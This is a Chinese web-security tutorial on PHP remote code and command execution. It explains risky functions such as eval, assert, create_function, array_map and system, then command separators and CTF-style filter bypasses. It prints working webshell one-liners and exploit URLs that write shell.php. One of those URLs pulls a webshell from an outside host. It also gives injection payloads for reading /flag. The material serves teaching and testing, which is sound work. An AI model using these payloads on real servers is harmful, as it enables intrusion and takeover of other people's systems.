RCE攻击

RCE攻击

一、基础知识

1.1 RCE介绍

​ RCE(remote command/code execute)即远程命令/代码执行。可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统

1.2 RCE分类

​ RCE分为远程命令执行(ping)和远程代码执行(eval)

1.3 RCE原理

​ 在web应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用执行函数去处理。比如当应用在在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。

1.4 RCE执行函数

​ 在PHP中代码执行所涉及的函数有:

复制代码
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、文件操作函数、动态函数($a($b))

​ 在PHP中命令执行所涉及的函数有:

复制代码
system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()

二、RCE------远程代码执行漏洞

2.1 eval()

​ 在PHP官方解释中,认为eval不属于函数,而是属于语句

​ 在PHP中如果要禁用一些危险函数,我们使用的方法是,打开PHP.ini,disable_functions = ,在配置文件中,如果通过此方法禁用eval函数,是不生效的。所以也可以得出结论,eval并不属于函数

​ 此函数可以将字符串解析成代码来执行,常用语一句话木马

php 复制代码
<?php
    eval($_REQUEST[6]);
?>
    
一句话的变种:
    <?php
    	$a = str_replace('x','','exxxvxxxaxxxlxxx');
    ?>
    Fatal error:Call to undefined function eval(),因为eval不是函数,所以这种方法用不了

2.2 assert()

如果assertion是字符串,它将会被assert()当作PHP代码来执行

php 复制代码
<?php
	assert($_REQUEST[6]);
?>

一句话的变种:
    <?php
    	$a = str_replace('x','','xaxxxsxxxsxxxexxxrxxxt');
		$a($_REQUEST[6]);
    ?>

​ 在用法上,assert与eval是比较像的,它们的区别是eval并不是函数,assert是函数,然后eval一次性可以执行多条语句,而assert一次性只能执行一条语句

​ 禁用assert函数的方法:

php 复制代码
disable_function = assert

​ 函数被禁用以后,页面会出现以下报错:

Warning:assert() has been disabled for security reasons

2.3 preg_replace(1,2,3)

php 复制代码
参数说明:
    $pattern:要搜索的模式,可以是字符串或一个字符串数组
    $replacement:用于替换的字符串或字符串数组
    $subject:要搜索替换的目标字符串或字符串数组
    
    preg_replace函数是执行一个正则表达式的搜索和替换,但因为存在一个危险的模式修正符/e,使得此函数可以将replacement参数当作PHP代码来执行
    $text = "apple orange apple";
$result = preg_replace("/e", "banana", "$text");

​ 在漏洞利用时,注意:

复制代码
1、PHP版本问题:在PHP7版本中,已经不再支持/e修正符
2、如果正则表达式可控,且替换的参数也可控,PHP版本为5版本,并且有/e修正符,此函数就可以被利用

​ 利用方法:

php 复制代码
echo preg_replace("/o/e",$_REQUEST[6],'helloworld');  //用户可控制的第六个请求参数
http://www.5isec.cn/2022-12-2/demo1.php?6=phpinfo();

2.4 create_function()

php 复制代码
string create_function(string $args, string $code)
参数说明:
string $args 函数参数部分
string $code 函数体代码部分

​ 此函数是用来创建一个匿名函数,它会在内部去执行一个eval操作,如果对传参没有做过滤,攻击者可以构造特殊的字符串传递给此函数来执行执行任意命令

​ 函数利用:

php 复制代码
//一个正常函数的写法
function add($a,$b){
echo $a+$b;
}
add(10,20);
//在上述函数中,$a/$b是形参
//echo 语句是函数体
//使用create_function来创建匿名函数
$func = create_function('$a,$b','echo $a+$b;');
$func(10,20);
//此函数的利用
//传参
$args = $_REQUEST['args'];
//函数体
$func_body = $_GET['func_body'];
//使用create_function来创建函数
if($args&&$func_body){
$func = create_function($args,$func_body);
$func();
}
//函数的调用
//http://www.5isec.cn/2022-12-2/demo1.php?args=$a='Jerry'&func_body=echo $a;
//可以打印出Jerry
//http://www.5isec.cn/2022-12-2/demo1.php?
args=$a='Jerry'&func_body=phpinfo(); //可以打印出phpinfo();

注意:

复制代码
此函数在PHP7中也被弃用
如果在后期测试过程中发现了此危险函数,如果函数的传参是可控的,那么此函数可以被利用。如果传参是固定的,也就是写死了,那么这个函数无法利用。

2.5 array_map

​ array_map为数组的每个元素应用回调函数

​ array_map()函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组

​ 回调函数接受的参数数目应该和传递给array_map()函数的数组数目一致

​ 此函数的利用方法:

php 复制代码
//array_map函数的常规用法
//定义一个回调函数,把函数未来作为一个传参来应用,这个传进来的函数就是一个回调函数
function add($a){
return $a*10;
}
$array = [2,6,8,9,10];
echo "原数组的内容为:";
print_r($array);
echo "<hr>";
//执行array_map函数
$array = array_map("add",$array);
echo "应用array_map函数后数组的内容为:";
print_r($array);
//最后输出的结果为:
//原数组的内容为:Array ( [0] => 2 [1] => 6 [2] => 8 [3] => 9 [4] => 10 )
//应用array_map函数后数组的内容为:Array ( [0] => 20 [1] => 60 [2] => 80 [3] =>
90 [4] => 100 )
//此函数的利用方法
//前提是array_map的两个传参需要可控
$func = $_GET['func'];
$args = $_GET['args'];
if($func&&$args){
$array[0]=$args;
// print_r($array);
$array = array_map($func,$array);
}
//http://www.5isec.cn/2022-12-2/demo2.php?args=whoami&func=system //返回结
果:system('whoami');
//http://www.5isec.cn/2022-12-2/demo2.php?args=phpinfo()&func=assert //输出
Phpinfo信息
//可以使用file_put_contents函数来写webshell
//http://www.5isec.cn/2022-12-2/demo2.php?
args=file_put_contents(%27shell.php%27,%27%3C?
php%20assert($_REQUEST[6]);%27)&func=assert

2.6 call_func()

把第一个参数作为回调函数调用

php 复制代码
mixed call_user_func( callable $callback[, mixed $parameter[, mixed $...]] )
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
此函数的利用方法与array_map几乎一致

利用方法:

php 复制代码
//定义传参
$func = $_GET['func'];
$args = $_GET['args'];
if($func&&$args){
call_user_func($func,$args);
}
//http://www.5isec.cn/2022-12-2/demo3.php?func=assert&args=phpinfo() //可以输
出PHPINFO信息

2.7 array_filter

​ 用回调函数过滤数组中的单元

php 复制代码
array array_filter( array $array[, callable $callback[, int $flag = 0]] )
依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array
数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

利用方法:

php 复制代码
//定义传参
$func = $_GET['func'];
$args = $_GET['args'];
if($func&&$args){
$array[0]=$args;
array_filter($array,$func);
}
//http://www.5isec.cn/2022-12-2/demo3.php?func=assert&args=phpinfo() //可以
输出PHPINFO信息

2.8 file_put_contents

将一个字符串写入文件

php 复制代码
filename	要被写入数据的文件名
data		要写入的数据

此函数的利用:

php 复制代码
//file_put_contents函数的常规用法
//file_put_contents('test.txt','hello world');
//如果关于此函数的两个参数可控,那么就可以利用
$filename = $_GET['name'];
$data = $_GET['data'];
//函数利用
if($filename&&$data){
//接收远端服务器的数据
$content = file_get_contents($data);
//将数据存入到文件中
file_put_contents($filename,$content);
}
http://www.5isec.cn/2022-12-2/demo4.php?
name=shell.php&data=http://sdnall.top/shell.txt //shell.txt中是一句话木马,使
用此方法可创建一个木马文件

2.9 双引号解析

php 复制代码
//使用双引号来解析变量
//$a = 10;
////$b = "$a"; //使用双引号来包裹,可以成功解析变量
//$b = '$a';
//echo $b;
//echo '网站的信息为${phpinfo()}'; --无法解析
//使用双引号来解析函数,必须确保PHP的版本为5.5以上
//echo "网站的信息为${phpinfo()}"; ---可以成功解析函数
//写一个demo,最终实现用户传参数据的用户名以及密码,将用户的账号密码保存下来
$user = $_GET['user'];
$passwd = $_GET['passwd'];
if($user && $passwd){
//如果用户有传参,我们需要将用户的传参写入到配置文件中
file_put_contents("config.php",'<?php'."\n");
file_put_contents("config.php",'//数据库的用户名'."\n",FILE_APPEND);
file_put_contents("config.php",'$user = "'.$user.'";'."\n",FILE_APPEND);
file_put_contents("config.php","//数据库的密码"."\n",FILE_APPEND);
file_put_contents("config.php",'$passwd =
"'.$passwd.'";'."\n",FILE_APPEND);
}
//漏洞的利用
//http://www.5isec.cn/2022-12-2/demo5.php?
user=admin&passwd=${assert($_REQUEST[6])}
//利用双引号解析,成功写马
//数据库的用户名
$user = "admin";
//数据库的密码
$passwd = "${assert($_REQUEST[6])}";

三、RCE------远程命令执行漏洞

在PHP中命令执行所涉及的函数有:

复制代码
system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru() 

3.1 system

执行外部程序,并且显示输出

php 复制代码
string system ( string $command [, int&$return_var ] )
本函数执行 command 参数所指定的命令,并且输出执行结果。
成功则返回命令输出的最后一行,失败则返回 FALSE
//调用SYSTEM函数去执行系统命令
system('whoami'); //输出结果为jimbo-pc\administrator
//使用SYSTEM函数去执行ping命令
system("ping 127.0.0.1");
//使用此函数写webshell
system('echo "<?php eval($_REQUEST[6]);?>" > s.php')

3.2 exec

执行外部程序,并且显示输出

php 复制代码
string exec( string $command[, array &$output[, int &$return_var]] )
exec() 执行 command 参数所指定的命令。
//执行系统命令
exec('whoami',$arr);
//显示执行的结果
print_r($arr);
//使用此函数写webshell
exec('echo "<?php eval($_REQUEST[6]);?>" > s.php');
此函数与system用法几乎一致,区别在于SYSTEM函数自己可以独立输出,exec需要使用特定的方法来输出

3.3 shell_exec

通过shell环境执行命令,并且将完整的输出以字符串的方式返回

php 复制代码
$res = shell_exec("whoami");
print_r($res); //jimbo-pc\administrator

3.4 passthru

执行外部程序并且显示原始输出

php 复制代码
void passthru( string $command[, int &$return_var] )
同 exec() 函数类似, passthru() 函数也是用来执行外部命令(command)的。
passthru('whoami'); //直接输出结果到浏览器
passthru('ping 127.0.0.1');

3.5 popen

php 复制代码
resource popen( string $command, string $mode)
打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
当模式为 'r',返回的文件指针等于命令的 STDOUT,当模式为 'w',返回的文件指针等于命令的
STDIN。
//返回的值为一个资源对象
$res = popen('whoami','r');
//var_dump($res);
//使用fread去读取资源数据
echo fread($res,2048); //jimbo-pc\administrator

3.6 反引号``

php 复制代码
<?php
if(isset($_GET['CMD'])){
$info = $_GET['CMD'];
print `$info`;
}else{
echo '命令错误'
}
?>

四、命令连接符

4.1 windows

复制代码
'|' :直接执行后面的语句
ping 127.0.0.1 | whoami
jimbo-pc\administrator
'||' : 如果前面执行的语句出错,则执行后面的语句,如果要执行后面的语句,则前面的语句只能出
错。
C:\Users\Administrator>ping 2 || whoami
正在 Ping 0.0.0.2 具有 32 字节的数据:
PING:传输失败。常见故障。
PING:传输失败。常见故障。
PING:传输失败。常见故障。
PING:传输失败。常见故障。
0.0.0.2 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 0,丢失 = 4 (100% 丢失),
jimbo-pc\administrator
'&' : 两条命令都会执行,如果前面语句为假时,则只执行后面的语句
C:\Users\Administrator>ping 2 & whoami
正在 Ping 0.0.0.2 具有 32 字节的数据:
PING:传输失败。常见故障。
PING:传输失败。常见故障。
PING:传输失败。常见故障。
PING:传输失败。常见故障。
0.0.0.2 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 0,丢失 = 4 (100% 丢失),
jimbo-pc\administrator
'&&' : 如果前面的语句为假则不执行后面的语句,所以要想执行后面的语句,前面的语句必须为真
C:\Users\Administrator>ping 2 && whoami
正在 Ping 0.0.0.2 具有 32 字节的数据:
PING:传输失败。常见故障。
PING:传输失败。常见故障。
PING:传输失败。常见故障。
PING:传输失败。常见故障。
0.0.0.2 的 Ping 统计信息:
数据包: 已发送 = 4,已接收 = 0,丢失 = 4 (100% 丢失),

4.2 Linux

复制代码
';' : 多条语句会依次执行
[root@jimbo home]# whoami ; ping 127.0.0.1
root
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.029 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.035 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.042 ms
'|' : 直接执行后面语句
[root@jimbo home]# ping 127.0.0.1 | whoami
root
'||' :当前面的语句执行出错时,执行后面的语句
[root@jimbo home]# ping 2 || whoami
connect: Invalid argument
root
[root@jimbo home]# whoami || ping 127.0.0.1
root
'&' : 如果前面的语句执行失败,则执行后面的语句。相当于两条语句都会执行。
[root@jimbo ~]# whoami & ping 127.0.0.1
[1] 872707
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.033 ms
root
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.034 ms
[root@jimbo ~]# ping 2 & whoami
[1] 873641
connect: Invalid argument
root
[1]+ Exit 2 ping 2
'&&' : 如果前面的语句执行失败,则后面语句也不执行,所以如果要执行后面语句,前面语句必须为
真。
[root@jimbo ~]# ping 2 && whoami
connect: Invalid argument
[root@jimbo ~]# whoami && ping 127.0.0.1
root
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.028 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.035 ms

RCE绕过

管道符

管道符 实例 描述
A;B 无论真假,A与B都执行
& A&B 无论真假,A与B都执行
&& A&&B A为真时才执行B,否则只执行A
| A|B 显示B的执行结果
|| A||B A为假时才执行B,否则只执行A

空格过滤

< <> %20(即space)
%09(即tab) IFS9 ${IFS}
$IFS {cat,/flag}

反斜杠\绕过

php 复制代码
//如cat、ls被过滤,使用\绕过
c\at	/flag
l\s		/

取反绕过

php 复制代码
<?php
	$a = "system";
	$b = "cat /flag";
	$c = urlencode(~$a);
	$d = urlencode(~$b);
	//输出得到取反传参内容
	echo "?cmd=(~".$c.")(~".$d.");"
?>

正则绕过

复制代码
//如flag被过滤
cat /fl*
cat /f???
cat /f[a-z]{3}

引号绕过

复制代码
//如cat、ls被过滤
ca""t /flag
l's' /

cat替换命令

more less cat tac
head tail vi vim
nl od sort uniq
tac 与cat相反,按行反向输出
more 按页显示,用于文件内容较多且不能滚动屏幕时查看文件
less 与more类似
tail 查看文件末几行
head 查看文件首几行
nl 在cat查看文件的基础上显示行号
od 以二进制方式读文件,od-A d -c /flag转人可读字符
xxd 以二级制方式读文件,同时有可读字符显示
sort 排序文件
uniq 报告或删除文件的重复行
file -f 报错文件内容
grep 过滤查找字符串,grep flag /flag
复制代码
?c=echo%09`nl%09fl*`;
?c=eval($_GET[a]);&a=system("tac fl*")
相关推荐
Sagittarius_A*11 天前
【RCELABS】Level 17~18 —— PHP命令执行函数与环境变量注入
开发语言·安全·web安全·靶场·php·rce
Sagittarius_A*15 天前
【RCELABS】Level 1~4 —— 基础篇
靶场·php·ctf·代码审计·rce
行者-全栈开发2 个月前
CVE-2026-33017:Langflow AI工作流平台未授权RCE漏洞深度剖析与紧急修复指南
人工智能·rce·漏洞修复·ai安全·langflow·cvss 10.0·cve-2026-33017
Eileen Seligman2 个月前
0CTF/TCTF 2023 OLAPInfra Nashorn RCE + HDFS UDF RCE
大数据·hadoop·hdfs·ctf·rce
Eason_LYC2 个月前
【GetShell 实战】CVE-2026-34486 Tomcat 加密拦截器绕过:从漏洞验证到反弹 Shell 全流程
java·渗透测试·tomcat·java反序列化·rce·远程代码执行漏洞·cve-2026-34486
行者-全栈开发2 个月前
CVE-2026-20131:Cisco防火墙管理中枢未授权RCE漏洞深度剖析与紧急修复指南
web安全·rce·防火墙安全·cve-2026-20131·cisco fmc·远程代码执行·cvss 10.0
安当加密2 个月前
Langroid LLM 框架 CVSS 9.8 RCE + WP Maps Pro 在野利用:当 AI 代理成为攻击入口
rce·数据库安全·ai安全·web应用安全·llm漏洞
安全小白wula2 个月前
RCE远程代码/命令执行基础讲解
网络·网络安全·渗透测试·rce·web渗透
祁白_3 个月前
PHP无参读取文件与RCE总结
安全·php·writeup·总结·rce